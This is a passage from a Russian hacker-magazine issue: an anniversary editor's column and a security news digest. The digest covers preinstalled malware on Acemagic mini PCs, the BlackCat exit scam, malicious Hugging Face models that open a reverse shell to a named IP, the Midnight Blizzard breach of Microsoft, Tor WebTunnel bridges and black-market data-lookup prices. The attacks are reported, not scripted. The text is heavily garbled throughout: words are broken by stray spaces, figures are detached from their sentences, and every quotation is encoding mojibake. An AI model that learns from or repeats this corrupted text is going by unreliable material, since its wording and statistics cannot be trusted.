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О приб лижении трех сотого номера кол леги
начали мне напоми нать при мер но два года
назад: ког да номера жур налов перева лили
за 280 и ста ло казать ся, что чис ло 300 уже
близ ко. Но что бы выпус тить 20 номеров,
нуж но ров но 20 месяцев, поэто му юби лей
под сту пал к нам со ско ростью, свой ствен- 
ной ско рее геоло гичес кому про цес су, чем
рабоче му.

Та кие вещи обыч но ковар ны: про дол жаешь думать о них как о чем-то отда- 
лен ном, а тут раз — и всё, мезозой закон чился, кай нозой начал ся, нуж но
хорошень ко отпраздно вать и пос тарать ся не вымереть. А пос коль ку юби леи
обыч но свя заны со вся кими вос помина ниями, мы решили гуль нуть
на широкую ногу и зас тавить пов спо минать ста рые вре мена всех: и 

, и , и  «Хакера».
чи тате- 

лей ав торов ре дак торов
Но куда же без неожи дан ностей? Дима Ага рунов, навер няка извес тный

тебе как осно ватель «Хакера» и изда тель ства Gameland, напом нил мне о дру- 
гой важ ной годов щине: 25-летии «Хакера». В отли чие от Димы я не при сутс- 
тво вал при сда че пер вого номера в печать и нап рочь упус тил из вида то,
что 300-й номер при ходит ся ров нехонь ко на 25-летие это го момен та
(неверо ятно, но факт: 25 лет ⨉ 12 выпус ков = 300).

Праз дно вания было решено сов местить, а 25-летие вооб ще отме чать
весь год: с ним у нас будут свя заны самые раз ные шту ки (уже, к при меру,
можешь прих ватить праз днич ный  и 

). Вот так и выш ло, что вос помина ния мы собира ли под фла гом 25-летия,
а вклю чим их потом в юби лей ный 300-й номер. Кон цен тра ция праз днич- 
ности — заш калива ющая!

сти кер пак для Telegram под писку со скид- 
кой

Во обще говоря, для меня абсо лют но порази тель но, что я (сум марно
шеф-редак тором и глав ным) работаю в «Хакере» уже боль ше тре ти его исто- 
рии. Я при соеди нил ся к коман де уда лен но во вре мена номера , вышел
на работу в офис во вре мя сда чи  и пол ноцен но учас тво вал в под готов- 
ке пос ледне го бумаж ного номера — .

193
196-го

197-го
Вре мена тог да были неп ростые, и тот факт, что у оче ред ного выпус ка 

, занимал нас в пос леднюю оче редь. Для циф рового рас простра- 
нения нуж но было перес тра ивать весь про цесс пуб ликации, кор ректи ровать
темати чес кий план, менять вся кие орга низа цион ные и тех ничес кие момен ты.
Вот это по-нас тояще му была сме на геоло гичес кой эпо хи!

круг- 
лый номер

О воз можнос ти сде лать что-то осо бен ное в честь пят надца тиле тия мы тог- 
да тоже не помыш ляли, да и двад цатиле тие прош ло незамет но: в 2019 году я
сме нил на пос ту глав ного редак тора Илью Русане на и, по моим вос помина- 
ниям, клал все силы на то, что бы изо дня в день на «Хакере» появ лялись
новые пуб ликации. Даже  этой колон ки я написал лишь спус тя
пол года. О праз дно вани ях круг лых дат и мыс лей не было.

пер вый выпуск

А потом пош ла череда неот вра тимых исто ричес ких событий. Впро чем,
некото рые из них уди витель ным обра зом ста нови лись для «Хакера» удач- 
ными. Начало эпи демии COVID-19, нап ример, было пери одом неверо ятно го
ажи ота жа. Видимо, не най дя на пол ках магази нов медицин ских масок, люди
хва тали сле дующий по необ ходимос ти товар — под писку на «Хакер». То же
пов торилось в начале 2022 года. Валюта дорожа ла, а дос туп к плат ным
матери алам мы, наобо рот, уде шеви ли, чем выз вали невидан ный спрос.

Сан кции име ли и дру гой эффект: летом 2022 года мы с Иль ей в поте лица 
 все циф ровое иму щес тво «Хакера» с зарубеж ных сер висов

на рос сий ские. Нама ялись знат но, но в ито ге уда лось не толь ко упростить
опла ту и сэконо мить нем ного денег, но и уско рить работу сай та. Заод но я
разоб рал все архи вы и теперь при желании могу извлечь из них текст поч ти
любой дав ности.

пе- 
ретас кивали

Ну а в 2023 году глав ным событи ем был выход бумаж ного спец выпус ка —
пер вого печат ного «Хакера» за пять лет. В  я уже намек- 
нул на то, что мы можем пов торить акцию в этом году, и не ошиб ся. Стра ница
для пред заказов вто рого спец выпус ка ско ро откро ется.

по зап рошлой колон ке

Вот и получа ется, что выход сот ни номеров хоть и занима ет боль ше вось- 
ми лет, но про лета ет как одно мгно вение. Событие за событи ем, статья
за стать ей, колон ка за колон кой... Мор гнул — и уже нуж но писать вступ ление
к 400-му выпус ку.
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В этом месяце: груп пиров ка BlackCat совер шила exit scam,
Microsoft взло мали и похити ли исходный код, раз работ чики
Flipper отве тили канад ским влас тям, игро ков Apex Legends
взло мали во вре мя тур нира, side-channel-ата ка GhostRace
угро жает про цес сорам Intel, AMD, ARM и IBM, сэр Тим Бер- 
нерс-Ли пережи вает о будущем веба, а так же дру гие инте- 
рес ные события про шед шего мар та.

МАЛВАРЬ
В КИТАЙСКИХ ПК
ACEMAGIC
Ки тай ская ком пания Acemagic приз нала, что некото рые ее товары пос тавля- 
лись с пре дус танов ленной мал варью. В ком пании объ ясни ли, что прос то
хотели добить ся сок ращения вре мени заг рузки и для это го внес ли изме нения
в исходный код Microsoft.

В начале фев раля 2024 года юту бер The Net Guy 
на мини-компь юте ре Acemagic AD08, который тес тировал для обзо ра. Так,
все го через нес коль ко минут пос ле заг рузки Windows Defender сооб щил
о наличии вре донос ной прог раммы Bladabindi — бэк дора, который вору ет
информа цию поль зовате лей, а так же может уста новить допол нитель ную мал- 
варь.

об наружил мал варь

В ито ге Acemagic, ста раясь не прив лекать боль шого вни мания к проб- 
леме, под твер дила наличие Bladabindi на некото рых сво их компь юте рах, про- 
дающих ся в США и Евро пе, а так же приз нала, что на устрой ства мог попасть
и небезыз вес тный сти лер Redline. При этом объ ясне ния Acemagic по поводу
зараже ния устрой ств ока зались весь ма стран ными:

«

»

«Íàøè ðàç ðàáîò ÷èêè ÏÎ ñòðå ìèëèñü ïîâûñèòü óäîáñ òâî ðàáîòû ïîëü- 

çîâàòå ëåé çà ñ÷åò ñîê ðàùåíèÿ âðå ìåíè íà÷àëü íîé çàã ðóçêè è âíåñ ëè

èçìå íåíèÿ â èñõîäíûé êîä Microsoft, âêëþ ÷àÿ ñåòåâûå íàñ òðîé êè.

Íî îíè íå ïîëó÷è ëè öèô ðîâûå ïîä ïèñè äëÿ ïðîã ðàì ìíî ãî îáåñ- 

ïå÷åíèÿ, è ïðîã ðàììà äëÿ óïðàâëå íèÿ RGB òàê æå ïîñ òàâëÿ ëàñü

áåç íèõ. Ýòîò íåäîñ ìîòð ïðè âåë ê åäè íè÷ íûì ñëó ÷àÿì çàðàæå íèÿ

ìèíè�ÏÊ, âûïóùåí íûõ äî 18 íîÿá ðÿ 2023 ãîäà, âèðóñà ìè».

При этом в ком пании дали нем ного иной ком мента рий СМИ, заявив, что
инци дент про изо шел из-за изме нений, вне сен ных в ПО для умень шения вре- 
мени заг рузки, и эти прав ки «слу чай но пов лияли на сетевые нас трой ки, что
при вело к отсутс твию циф ровых под писей».

В ито ге Acemagic пообе щала уси лить кон троль над исполь зовани ем циф- 
ровых сер тифика тов, что бы в будущем «пре дот вра тить такие несан кци они- 
рован ные модифи кации». Фор мулиров ка намека ет, что третьи лица мог ли
получить дос туп к сис темам ком пании (или даже к мас тер-копии Windows)
и исполь зовали его для рас простра нения мал вари. То есть пока оста ется
неяс ным, про изош ло зараже ние еще на заводе или уже пос ле того,
как компь юте ры при обре ли и вклю чили их новые вла дель цы.

В Acemagic завери ли, что воз местят пол ную сто имость устрой ств, про- 
изве ден ных в пери од с сен тября по ноябрь 2023 года, всем, кто захочет вер- 
нуть день ги. Дата про изводс тва дол жна быть ука зана на сти керах зат ронутых
моделей AD08, AD15 и S1.

Поль зовате лям, которые решат очис тить свои машины от мал вари
(Acemagic уже опуб ликова ла для этой цели чис тые обра зы), сде лают скид- 
ку 25% на покуп ку. Так же все покупа тели заражен ных машин могут получить
купон на десятип роцен тную скид ку на любую будущую покуп ку устрой ств
Acemagic.

МОШЕННИКИ ПОДДЕЛАЛИ САЙТЫ  КОМПАНИЙ90%

Спе циалис ты BI.ZONE под счи тали, что от  до  круп ных рос сий ских ком паний ста ли жер- 
тва ми зло умыш ленни ков, которые соз дают фишин говые ресур сы с при мене нием извес тных
наз ваний. Самым вос тре бован ным прик рыти ем для фишеров ста ли брен ды круп ных 

.

70 90%

фи нан- 
совых орга низа ций

Вре донос ные «кло ны» есть у ресур сов  бан ков. Количес тво фишин говых сай тов зависит
от популяр ности бан ка, а так же ряда дру гих фак торов. За месяц прес тупни ки могут соз дать 

 под дель ных ресур сов одной ком пании.

90%
до

нес коль ких сотен

BLACKCAT СКРЫЛАСЬ
С ДЕНЬГАМИ
Вы мога тель ская груп пиров ка BlackCat (ALPHV) заяви ла, что пра воох- 
ранитель ные орга ны зах ватили ее сайт и инфраструк туру. Одна ко пар тне ры
груп пы и ИБ-спе циалис ты счи тают, что это exit scam, то есть хакеры поп росту
скры лись с день гами, а пра воох раните ли не име ют никако го отно шения
к про исхо дяще му.

В начале мар та ИБ-спе циалис ты замети ли, что BlackCat отклю чила свои
сер веры (прек ратил работу блог груп пы, а так же сай ты для перего воров
с жер тва ми), а пар тне ры груп пиров ки обви нили соз дателей BlackCat
в хищении 22 мил лионов дол ларов.

При этом спе циалист ком пании Recorded Future Дмит рий Сми лянец
поделил ся инте рес ным скрин шотом: один из пар тне ров BlackCat под ником
notchy утвер ждал, что это он сто ит за недав ней гром кой ата кой на ком панию
Optum. И яко бы опе ратор плат формы Change Healthcare недав но вып латил
ему выкуп в раз мере 22 мил лионов дол ларов США за рас шифров ку дан ных.

На пом ним, что недав но взло ман ная Optum — это дочер няя ком пания
UnitedHealth Group, которая глу боко интегри рова на с сис темой здра воох- 
ранения США и работа ет с элек трон ными медицин ски ми кар тами, обра бот- 
кой пла тежей, ана лизом дан ных в боль ницах, кли никах и апте ках.

Жа лоба notchy

Сто ит пояс нить, что в груп пах, работа ющих по модели Ransomware as
a Service (RaaS, «вымога тель как услу га»), есть внеш ние пар тне ры или аффи- 
лиро ван ные лица, которые осу щест вля ют ата ки с исполь зовани ем пре дос- 
тавлен ных им шиф роваль щиков. Получен ные от жертв выкупы в ито ге делят ся
меж ду соз дателя ми RaaS-плат формы и их пар тне рами, которые устра ивают
ата ки, раз верты вают вымога тель ское ПО и похища ют дан ные.

В дан ном слу чае notchy обви нил BlackCat в том, что пос ле получе ния
выкупа от Optum его обма нули. Он пишет, что пос ле перево да денег BlackCat
заб локиро вала его пар тнерский акка унт и заб рала все средс тва из кошель ка.
Notchy заявил, что у него на руках оста лись 4 Тбайт «кри тичес ки важ ных дан- 
ных Optum», вклю чая «про изводс твен ную информа цию, которая зат рагива ет
всех кли ентов Change Healthcare и Optum». По его сло вам, он рас полага ет
дан ными «десят ков стра ховых ком паний» и пос тавщи ков широко го спек тра
услуг, свя зан ных со здра воох ранени ем, рас четно-кас совым обслу жива нием,
апте ками и так далее.

Ког да СМИ свя зались с пред ста вите лями UnitedHealth Group и спро сили
их о воз можной вып лате выкупа, в ком пании отка зались от ком мента риев
и заяви ли, что в нас тоящее вре мя пол ностью «сос редото чены на рас сле- 
дова нии» ата ки.

В резуль тате ИБ-спе циалис ты заподоз рили, что про исхо дящее очень
похоже на exit scam, то есть соз датели BlackCat пыта ются скрыть ся с день- 
гами. Нап ример, на одном из хак форумов и вов се появи лось заяв ление груп- 
пиров ки, в котором сооб щалось, что BlackCat решила зак рыть про ект «из-за
федера лов», но при этом хакеры не пре дос тавили никаких допол нитель ных
объ ясне ний.

Вмес те с этим ста тус груп пиров ки в Tox сме нил ся на объ явле ние о про- 
даже исходных кодов мал вари на 5 мил лионов дол ларов США. А затем
на сай те BlackCat и вов се появи лась «заг лушка», сооб щающая, что ресурс
зах вачен и кон фиско ван ФБР, Минюс том США, Наци ональ ным агентством
по борь бе с прес тупностью Великоб ритании (NCA) и так далее.

Од нако, как замети ли СМИ и извес тный ИБ-спе циалист Фаби ан Восар
(Fabian Wosar), «заг лушка» выг лядела край не подоз ритель но и, судя по все му,
была фаль шив кой. Так, кар тинка рас полага лась в пап ке с име нем /THIS
WEBSITE HAS BEEN SEIZED_les/. По сло вам Восара, хакеры прос то уста- 
нови ли Python SimpleHTTPServer для отоб ражения на сай те ста рой фей ковой
«заг лушки».

«
»

«Îíè ïðîñ òî ñîõ ðàíèëè óâå äîì ëåíèå ñî ñòà ðîãî ñàé òà äëÿ óòå ÷åê

è çàïóñ òèëè Python HTTP-ñåð âåð, ÷òî áû îòîá ðàæàòü åãî íà íîâîì ñàé- 

òå. Ëåí òÿè», — ïèñàë Âîñàð.

Так же иссле дова тель отме тил, что его кон такты в Евро поле и NCA завери ли,
что влас ти не име ют никако го отно шения к новому зах вату сай та BlackCat.

От куда взя лась фаль шив ка? Дело в том, что в декаб ре 2023 года пра воох- 
ранитель ные орга ны дей стви тель но  инфраструк туру
BlackCat и даже выпус тили инс тру мент для рас шифров ки дан ных. Судя
по все му, кар тинку с уве дом лени ем о кон фиска ции ресур са хакеры взя ли
имен но отту да. Ведь тог да вымога тель ская груп пиров ка про дол жила работу,
пообе щав нанес ти ответный удар по пра витель ству США и ата ковать кри- 
тичес кую инфраструк туру стра ны.

ском про мети рова ли

ОСНОВНЫЕ УГРОЗЫ ДЛЯ ПРОМЫШЛЕННОСТИ
По информа ции Kaspersky ICS CERT, во вто рой полови не 2023 года в Рос сии вре донос ные объ- 
екты были заб локиро ваны на  компь юте ров авто мати зиро ван ных сис тем управле ния
(АСУ).

31,1%

Боль ше все го вре доно сов было обна руже но в сфе рах инжи нирин га ( ), авто мати зации
зда ний ( ), энер гетики ( ), неф ти и газа ( ).

36,3%
34,7% 33,1% 25,5%

Кро ме того, Рос сия ока залась на  в мире по доле компь юте ров АСУ, на которых
были заб локиро ваны май неры.

вто ром мес те

Глав ными источни ками угроз для про мыш леннос ти иссле дова тели называ ют  и 
.

ин тернет элек- 
трон ную поч ту

До ля компь юте ров АСУ, где были заб локиро ваны угро зы из поч ты, сос тавила  (в  раза
ниже сред немиро вого показа теля). Доля устрой ств, на которых были заб локиро ваны угро зы
при под клю чении съем ных носите лей, сос тавила  (чуть более  сред немиро вого
показа теля).

1,5% 2,7

0,8% 1/3

При этом в Рос сии опе рато ры и инже неры АСУ заходи ли на опас ные веб-ресур сы чаще, чем
в сред нем по миру. Зна читель ная часть таких ресур сов исполь зует ся для рас простра нения вре- 
донос ных скрип тов и фишин говых стра ниц (они были бло киро ваны на  устрой ств).8,9%

ВРЕДОНОСНЫЕ
МОДЕЛИ В HUGGING
FACE
На плат форме Hugging Face наш ли не менее 100 вре донос ных Deep Learning
моделей, часть из которых могут выпол нять код на машине жер твы, пре дос- 
тавляя зло умыш ленни кам пос тоян ный бэк дор.

Спе циалис ты JFrog раз работа ли и раз верну ли прод винутую сис тему ска- 
ниро вания для про вер ки моделей PyTorch и Tensorow Keras, раз мещен ных
на Hugging Face. Они пре дуп режда ют, что око ло сот ни моделей на плат- 
форме содер жат вре донос ный код и это соз дает зна читель ный риск шпи- 
онских атак и утеч ки дан ных.

Мал варь про ник ла в Hugging Face, нес мотря на все меры безопас ности,
вклю чая ска ниро вание на наличие мал вари и сек ретов, а так же тща тель ное
изу чение фун кци ональ нос ти моделей для обна руже ния такого поведе ния,
как небезо пас ная десери али зация.

«
»

«Âàæ íî ïîä ÷åð êíóòü, ÷òî, êîã äà ìû ãîâîðèì î „âðå äîíîñ íûõ ìîäåëÿõ“,

ìû èìå åì â âèäó èìåí íî òå, êîòîðûå ñîäåð æàò ðåàëü íóþ, âðå äîíîñ- 

íóþ ïîëåç íóþ íàã ðóçêó. Ýòîò ðàñ ÷åò èñêëþ ÷àåò ëîæ íûå ñðà áàòû- 

âàíèÿ», — óòâåð æäà þò èññëå äîâà òåëè.

Од ним из при меров ста ла модель PyTorch, заг ружен ная недав но поль зовате- 
лем под ником baller423 и уже уда лен ная с Hugging Face. Она содер жала
полез ную наг рузку, которая поз воляла соз дать реверс-шелл на ука зан ный
хост (210.117.212[.]93). Вре донос ный пей лоад исполь зовал метод 

модуля pickle для выпол нения про изволь ного кода при заг рузке фай ла
модели PyTorch, при этом избе гая обна руже ния за счет встра ива ния мал вари
в доверен ный про цесс сери али зации.

reduce

В JFrog обна ружи ли, что та же полез ная наг рузка свя зыва лась и с дру гими
IP-адре сами. Это поз воля ет пред положить, что ее опе рато ры все же ИИ-
и ИБ-иссле дова тели, а не хакеры. Одна ко такие экспе римен ты в JFrog все
рав но называ ют слиш ком рис кован ными и неумес тны ми, учи тывая, что опас- 
ные модели были обще дос тупны.

Пы таясь опре делить истинные намере ния опе рато ров вре доно са, ана- 
лити ки раз верну ли при ман ку для прив лечения активнос ти и ее ана лиза. Они
смог ли уста новить соеди нение с сер вером потен циаль ных зло умыш ленни- 
ков, одна ко ни одной коман ды за вре мя под держа ния соеди нения перех- 
ватить не уда лось.

ГЛАВА SIGNAL FOUNDATION О ВРЕДЕ БЭКДОРОВ
Гла ва Signal Foundation (раз работ чик мес сен дже ра Signal) Мередит Уит такер (Meredith
Whittaker) выс тупила на StrictlyVC и рез ко выс казалась об уси лиях влас тей по борь бе с шиф- 
ровани ем, наз вав это «при митив ным, магичес ким мыш лени ем».

→ «Я бы ска зала, что мы наб люда ем ряд весь ма узких и полити чес ки анга жиро- 
ван ных законо датель ных актов, в которых час то фигури рует идея защиты детей.
Они исполь зуют ся для прод вижения того, что на самом деле явля ется очень
дав ним желани ем спец служб, пра витель ств и автокра тов — сис темати чес кого
добав ления бэк доров в надеж ное шиф рование. Час то к это му при зыва ют дей- 
ству ющие из луч ших побуж дений люди, которым прос то не хва тает зна ний
или обра зова ния, что бы понять пос ледс твия того, что они дела ют, понять, что
это может в кор не унич тожить воз можность при ват ного циф рового обще ния.

Об щая тен денция, которую я вижу, — это глу бокое стрем ление к подот- 
четнос ти в тех нологи ях, которое мы уже видели в середи не 2010-х годов. Затем
это стрем ление было прев ращено в ору жие, и теперь мы наб люда ем, как в
бутыл ки для подот четнос ти раз лива ют вино для слеж ки. <…> Это при митив ное,
магичес кое мыш ление.

Все это очень опас но, потому что гро зит нам воз вра том к парадиг ме
начала 90-х, ког да пра витель ство име ло монопо лию на шиф рование и на пра во
циф ровой кон фиден циаль нос ти. Я счи таю, нам нуж но, что бы вен чурное сооб- 
щес тво и круп ные тех нологи чес кие ком пании активнее заяв ляли о том, какую
угро зу это пред став ляет для всей индус трии, и давали отпор»,

— заяви ла Уит такер.

Продолжение статьи →

mailto:nefedova@glc.ru
https://youtu.be/Pi0_wzdz7aY
https://xakep.ru/2023/12/20/blackcat-down/
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У MICROSOFT УКРАЛИ
ИСХОДНИКИ
Пред ста вите ли Microsoft сооб щили, что недав но рус ско языч ная хакер ская
груп па Midnight Blizzard получи ла дос туп к некото рым внут ренним сис темам
и репози тори ям ком пании. Ата кующие исполь зовали аутен тифика цион ные
дан ные, похищен ные у Microsoft во вре мя январ ской ата ки.

На пом ним, что в середи не янва ря 2024 года Microsoft , что ее
взло мала рус ско языч ная груп пиров ка Midnight Blizzard (она же Nobelium,
APT29 и Cozy Bear). Тог да сооб щалось, что ряд кор поратив ных email-акка- 
унтов ком пании ока зал ся ском про мети рован, а дан ные похище ны.

об наружи ла

Ха керы про вели в сис темах Microsoft боль ше месяца и взло мали элек- 
трон ную поч ту руково дите лей ком пании, сот рудни ков юри дичес кого отде ла
и спе циалис тов по кибер безопас ности. При чем в некото рых из укра ден ных
писем содер жалась информа ция о самой груп пиров ке, отку да зло умыш- 
ленни ки мог ли понять, что Microsoft о них зна ет.

В ком пании объ ясня ли, что хакеры про ник ли в сис темы еще в нояб- 
ре 2023 года, пос ле того как про вели успешную брут форс-ата ку типа
password spray (перебор ранее ском про мети рован ных или час то исполь- 
зуемых паролей).

Как теперь рас ска зали в Microsoft, недав но Midnight Blizzard исполь зовала
сек реты, най ден ные сре ди укра ден ных во вре мя январ ской ата ки дан ных, что- 
бы получить дос туп к некото рым сис темам и репози тори ям исходно го кода.

«

»

«Â ïîñ ëåäíèå íåäåëè ìû îáíà ðóæè ëè äîêàçà òåëü ñòâà òîãî, ÷òî
Midnight Blizzard èñïîëü çóåò èíôîðìà öèþ, ïîëó÷åí íóþ èç íàøèõ êîð- 
ïîðàòèâ íûõ ñèñ òåì ýëåê òðîí íîé ïî÷ òû, äëÿ ïîëó÷å íèÿ èëè ïîïûò êè
ïîëó÷å íèÿ íåñàí êöè îíè ðîâàí íîãî äîñ òóïà. Âêëþ ÷àÿ äîñ òóï ê íåêîòî- 
ðûì ðåïîçè òîðè ÿì èñõîäíî ãî êîäà è âíóò ðåííèì ñèñ òåìàì êîì ïàíèè.
Íà äàí íûé ìîìåíò ìû íå íàø ëè íèêàêèõ äîêàçà òåëü ñòâ òîãî, ÷òî ñèñ- 
òåìû êëè åíòîâ, ðàç ìåùåí íûå íà õîñ òèíãå Microsoft, áûëè âçëî- 
ìàíû», — ñîîá ùèëè ñïå öèàëèñ òû Microsoft Security Response Center.

Хо тя Microsoft не объ ясни ла, о каких имен но «сек ретах» идет речь, ско рее
все го, име лись в виду токены аутен тифика ции, клю чи API и учет ные дан ные.
В ком пании завери ли, что уже начали работу с кли ента ми, чьи дан ные попали
в руки хакеров через укра ден ные пись ма.

«

»

«Î÷å âèä íî, ÷òî Midnight Blizzard ïûòà þòñÿ èñïîëü çîâàòü ñåê ðåòû ðàç- 
ëè÷íûõ òèïîâ, êîòîðûå èì óäà ëîñü îáíà ðóæèòü (â õîäå àòà êè). Íåêîòî- 
ðûå èç ýòèõ ñåê ðåòîâ ïåðåäà âàëèñü ìåæ äó êëè åíòà ìè è Microsoft
ïî ïî÷ òå. Ïî ìåðå òîãî êàê ìû îáíà ðóæè âàëè èõ ñðå äè óêðà äåí íîé
ýëåê òðîí íîé ïî÷ òû, ìû ñâÿ çûâà ëèñü è ïðî äîë æàåì ñâÿ çûâàòü ñÿ ñ ýòè- 
ìè êëè åíòà ìè, ÷òî áû ïîìî÷ü èì ïðè íÿòü ìåðû ïî ïðå äîò âðà ùåíèþ
âîç ìîæíûõ ïîñ ëåäñ òâèé», — ãîâîðÿò â Microsoft.

Кро ме того, в ком пании пре дуп редили, что в пос леднее вре мя Midnight
Blizzard наращи вает password spray ата ки на целевые сис темы: в фев рале их
количес тво уве личи лось в десять раз по срав нению с янва рем 2024 года.

 ЮРЛИЦА РФ ПРОДАЛИ В ДАРКНЕТЕ1844

По дан ным ана лити ков ГК «Солар», в 2023 году в дар кне те были обна руже ны  рос сий ские
ком пании, выс тавлен ные на про дажу для сок рытия незакон ной деятель нос ти. В сред нем
это .
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Рост чис ла подоб ных объ явле ний по срав нению с 2022 годом сос тавил .42%
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МОСТЫ TOR
ИМИТИРУЮТ HTTPS-
ТРАФИК
Раз работ чики Tor Project объ яви ли о запус ке новой фун кции — мос тов
WebTunnel, которые работа ют на осно ве устой чивого к обна руже нию HTTPT-
прок си и поз воля ют тра фику Tor луч ше сме шивать ся с обыч ным HTTPS-тра- 
фиком.

На пом ним, что мос ты Tor пред став ляют собой рет ран сля торы, не перечис- 
ленные в пуб личном катало ге Tor, которые поз воля ют мас кировать соеди- 
нения поль зовате лей. Так как уже доволь но дав но най дены спо собы обна- 
руже ния и бло киров ки таких соеди нений (нап ример, в Китае), Tor так же
исполь зует мос ты obfsproxy, которые добав ляют допол нитель ный уро вень
обфуска ции.

Как рас ска зыва ют раз работ чики, мос ты WebTunnel пред назна чены
для ими тации зашиф рован ного тра фика (HTTPS) и осно ваны на . Они
обо рачи вают полез ную наг рузку соеди нения в WebSocket-подоб ное HTTPS-
соеди нение, которое выг лядит как обыч ный HTTPS (WebSocket). То есть
для сто рон него наб людате ля это обыч ное HTTP-соеди нение, в ходе которо го
поль зователь прос то прос матри вает веб-стра ницы.

HTTPT

«

»

«Ôàê òè÷åñ êè WebTunnel íàñ òîëü êî ïîõîæ íà îáû÷ íûé âåá�òðà ôèê, ÷òî
îí ìîæåò ñîñóùåñ òâî âàòü íà îäíîì ýíäïî èíòå ñ ñàé òîì, òî åñòü ïîëü- 
çîâàòü ñÿ òåì æå äîìåíîì, IP-àäðå ñîì è ïîð òîì. Òàêîå ñîñóùåñ òâî- 
âàíèå ïîç âîëÿ åò ñòàí äàð òíî ìó îáðàòíî ìó ïðîê ñè íàï ðàâëÿòü
êàê îáû÷ íûé âåá�òðà ôèê, òàê è WebTunnel íà ñîîò âåòñ òâó þùèå ñåð- 
âåðû ïðè ëîæå íèé. Â ðåçóëü òàòå, êîã äà êòî�òî ïûòà åòñÿ ïîñåòèòü ñàéò
ïî îáùå ìó ñåòåâî ìó àäðå ñó, îí ïðîñ òî óâè äèò ñîäåð æèìîå ýòî ãî
àäðå ñà ñàé òà è íå îáíà ðóæèò ñóùåñ òâî âàíèå ìîñ òà (WebTunnel)», —
ãîâîðÿò â Tor Project.

От меча ется, что тес тирова ние WebTunnel началось еще летом 2023 года.
В нас тоящее вре мя по все му миру работа ют око ло 60 мос тов WebTunnel
и око ло 700 активных поль зовате лей ежед невно исполь зуют новые мос ты
на раз ных плат формах.

Од нако пока WebTunnel работа ет не во всех реги онах, а адрес мос тов нуж- 
но получать вруч ную, но сис тему пла ниру ют дорабо тать в будущем.

«ПРОБИВ» ПОДОРОЖАЛ В  РАЗА2,5

Спе циалис ты Data Leakage & Breach Intelligence (DLBI) опуб ликова ли еже год ный отчет, пос- 
вящен ный чер ному рын ку «про бива» дан ных рос сий ских физ лиц. По их информа ции, сто имость
незакон ного получе ния дан ных о граж данах в РФ к началу 2024 года вырос ла в  раза —
до  руб лей.

2,5
44 300

Сей час в этой области активно работа ет  пос редник. Боль шинс тво из них (  человек)
занима ется «гос про бивом», чуть мень шее количес тво (  человек) пос редни ков пре дос тавля ет
«мобиль ный про бив» и еще мень ше (  челове ка) занима ются «бан ков ским про бивом».

81 71
61

22

За пос ледние семь лет сто имость таких «услуг» уве личи лась в 18,5 раза

В сред нем «гос про бив» дешев ле бан ков ско го поч ти в  раз, хотя по срав нению с 2022 годом
цены на него вырос ли в  раза.

8
2,5

При этом сто имость «про бива» або нен тов опе рато ров свя зи вырос ла по срав нению с прош лым
годом в  раза (до  руб лей), и «мобиль ный про бив» дороже бан ков ско го в  раза.3,3 90 000 2,3

Так, «про бив» у «Вым пелко ма» сто ит око ло  руб лей, у МТС —  руб лей, а лидера- 
ми по сто имос ти дан ных ста ли «МегаФон» и Tele2, где цена дан ных дос тига ет  руб лей.

87 000 68 500
100 000

Что каса ется цен на «про бив» кли ентов бан ков, в 2023-м они вырос ли сра зу на  (до
 руб лей), и эта «услу га» по-преж нему оста ется самой нес табиль ной. Дело

в том, что пред ложений по тому или ино му бан ку может не быть в нуж ный момент, для неболь- 
ших бан ков «про бива» час то нет в прин ципе или най ти его край не слож но.

51%
38  000–40  000

РАЗРАБОТЧИКИ
FLIPPER ZERO VS
КАНАДА
В фев рале 2024 года канад ское пра витель ство , что пла ниру ет зап- 
ретить про дажу Flipper Zero и ана логич ных устрой ств в стра не, так как с их
помощью яко бы мож но уго нять авто моби ли. Теперь раз работ чики Flipper
опуб ликова ли ответный пост, в котором называ ют попыт ки зап ретить такие
устрой ства абсур дны ми и объ ясня ют, что для уго на сов ремен ных авто тре- 
бует ся сов сем дру гое обо рудо вание, а ста рые машины мож но взло мать даже
с помощью кус ка про вода.

за яви ло

На пом ним, что, по дан ным влас тей, еже год но в Канаде уго няют око- 
ло 90 тысяч авто моби лей (то есть один авто мобиль каж дые шесть минут),
а убыт ки от авто мобиль ных краж сос тавля ют 1 мил лиард дол ларов США
в год, вклю чая стра ховые рас ходы на ремонт и замену угнанных авто.
При этом канад ские влас ти нас таивают на том, что Flipper Zero стал одной
из при чин всплес ка авто уго нов в стра не.

В фев рале Депар тамент инно ваций, науки и эко номи чес кого раз вития
Канады (ISED Canada) заявил, что будет «исполь зовать все воз можнос ти
для зап рета таких устрой ств, как Flipper Zero, исполь зуемых для уго на авто- 
моби лей за счет копиро вания бес про вод ных сиг налов дис танци онно го бес- 
клю чево го дос тупа, что поз волит изъ ять эти устрой ства с канад ско го рын ка
в сот рудни чес тве с пра воох ранитель ными орга нами».

Как теперь пишет коман да Flipper Devices, мно жес тво фун кций Flipper Zero
мож но вос про извести с помощью дру гих устрой ств, вклю чая компь юте ры,
Android-смар тфо ны и Raspberry Pi, но на них зап рет не рас простра няет ся.
Поэто му коман да Flipper и спе циалис ты кри тику ют решение канад ских влас- 
тей как край не изби ратель ное, учи тывая, что внут ренняя элек тро ника «хакер- 
ско го тамаго чи» широко дос тупна и мно го лет исполь зует ся мно жес твом дру- 
гих девай сов.

Так же в бло ге раз работ чики под робно рас ска зыва ют о том, почему Flipper
Zero не может исполь зовать ся для уго на авто моби лей с бес клю чевым дос- 
тупом, а «подоб ные пред ложения вред ны для безопас ности и замед ляют тех- 
нологи чес кий прог ресс».

«

»

«Â ñîöè àëü íûõ ñåòÿõ ìîæ íî íàé òè ìíî æåñ òâî âèäå îðî ëèêîâ, â êîòîðûõ
äåòè îáå ùàþò „õàê íóòü Ïåí òàãîí“ ñ ïîìîùüþ Flipper Zero, ÷òî áû íàá- 
ðàòü áîëü øå ïðîñ ìîòðîâ. Òàêîé êîí òåíò ïîðîäèë ìíî æåñ òâî ìèôîâ
è èñïîëü çóåò ñÿ æóð íàëèñ òàìè, êîòîðûå íå óòðóæäà þò ñåáÿ ïðî âåð êîé
ôàê òîâ. Íåóäè âèòåëü íî, ÷òî íåêîòî ðûå ïîëèòè êè íà÷àëè ïðåä ëàãàòü
çàï ðåòû, îñíî âàí íûå íà ëîæ íîé èíôîðìà öèè», — ïèøóò ñîç äàòåëè
Flipper Zero.

Де ло в том, что нас тоящие авто угон щики исполь зуют для сво их опе раций
спе циаль ные рет ран сля торы сиг нала, сто имость которых сос тавля ет
от 5000 до 15 000 дол ларов США.

Обыч но ата кующие под бира ются как мож но бли же к дому вла дель ца авто
с такими рет ран сля тора ми, ловят и переда ют пас сивный сиг нал от бре лока
